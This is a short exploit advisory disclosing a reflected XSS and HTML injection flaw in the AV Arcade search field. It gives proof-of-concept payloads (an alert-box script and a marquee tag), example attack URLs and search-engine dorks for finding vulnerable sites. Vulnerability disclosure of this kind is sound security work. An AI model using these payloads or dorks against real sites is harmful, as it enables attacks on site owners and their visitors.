# Exploit Title: AV Arcade Search Field XSS/HTML Injection
# Date: 6/5/2010
# Author: Vadim Toptunov, http://www.twitter.com/pentesting
# Software Link: http://www.avscripts.net/avarcade/
# Version: 5.1.4 Free and Pro (latest) and prior
# Tested on: Any NIX
# CVE : N/a
# Code : below

Description:
AV arcade is a free arcade script from AV Scripts. It has features which easily match those of paid scripts.

POC:
Go to search field and query those strings:
HTML Injection: "><marquee>hey, this works!</marquee>
XSS: "><script>alert(String.fromCharCode(88,83,83))</script>

Example:
http://[site]/index.php?task=search&q="><marquee>hey, thisworks!</marquee>
http://[site]/index.php?task=search&q="><script>alert(String.fromCharCode(88,83,83))</script>

Dorks:
"Powered by AV Arcade v3"
"Powered by AV Arcade v4"
"Powered by AV Arcade Free Edition"
"Powered by AV Arcade Pro"